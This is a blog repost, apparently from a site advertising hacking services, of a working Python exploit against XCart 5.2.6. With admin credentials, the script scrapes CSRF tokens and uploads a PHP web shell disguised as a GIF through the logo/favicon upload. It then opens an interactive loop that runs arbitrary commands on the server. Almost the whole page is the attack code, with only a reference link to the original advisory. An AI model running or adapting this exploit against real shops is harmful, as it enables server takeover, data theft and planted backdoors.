Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396750

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

XCart 5.2.6 - Code Execution 

#!/usr/local/bin/python
# Exploit for XCart 5.2.6 Code Execution vulnerability
# An admin account is required to use this exploit
# Curesec GmbH

import sys
import re
import requests # requires requests lib

if len(sys.argv) != 4:
    exit("usage: python " + sys.argv[0] + " http://example.com/xcart/ admin@example.com admin")

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

loginPath = "/admin.php?target=login"
fileManagerPath = "/admin.php?target=logo_favicon"

shellFileName = "404.php"
shellContent = "GIF89a;<?php passthru($_GET['x']); ?>"

def login(requestSession, url, username, password):
    csrfRequest = requestSession.get(url)
    csrfTokenRegEx = re.search('name="xcart_form_id" type="hidden" value="(.*)" class', csrfRequest.text)
    csrfToken = csrfTokenRegEx.group(1)

    postData = {"target": "login", "action": "login", "xcart_form_id": csrfToken, "login": username, "password": password}
    loginResult = requestSession.post(url, data = postData).text
    return "Invalid login or password" not in loginResult

def upload(requestSession, url, fileName, fileContent):
    csrfRequest = requestSession.get(url)
    csrfTokenRegEx = re.search('SimpleCMS" />\n<input  type="hidden" name="xcart_form_id" value="(.*)" />', csrfRequest.text)
    csrfToken = csrfTokenRegEx.group(1)

    filesData = {"logo": (fileName, fileContent)}
    postData = {"target": "logo_favicon", "action": "update", "page": "CDev\SimpleCMS", "xcart_form_id": csrfToken}
    uploadResult = requestSession.post(url, files = filesData, data = postData)
    return "The data has been saved successfully" in uploadResult.text

def runShell(url):
    print("enter command, or enter exit to quit.")
    command = raw_input("$ ")
    while "exit" not in command:
        print(requests.get(url + command).text.replace("GIF89a;", ""))
        command = raw_input("$ ")


requestSession = requests.session()

if login(requestSession, url + loginPath, username, password):
    print("successful: login")
else:
    exit("ERROR: Incorrect username or password")

if upload(requestSession, url + fileManagerPath, shellFileName, shellContent):
    print("successful: file uploaded")
else:
    exit("ERROR: could not upload file")

runShell(url + shellFileName + "?x=")


Blog Reference:
http://blog.curesec.com/article/blog/XCart-526-Code-Execution-Exploit-87.html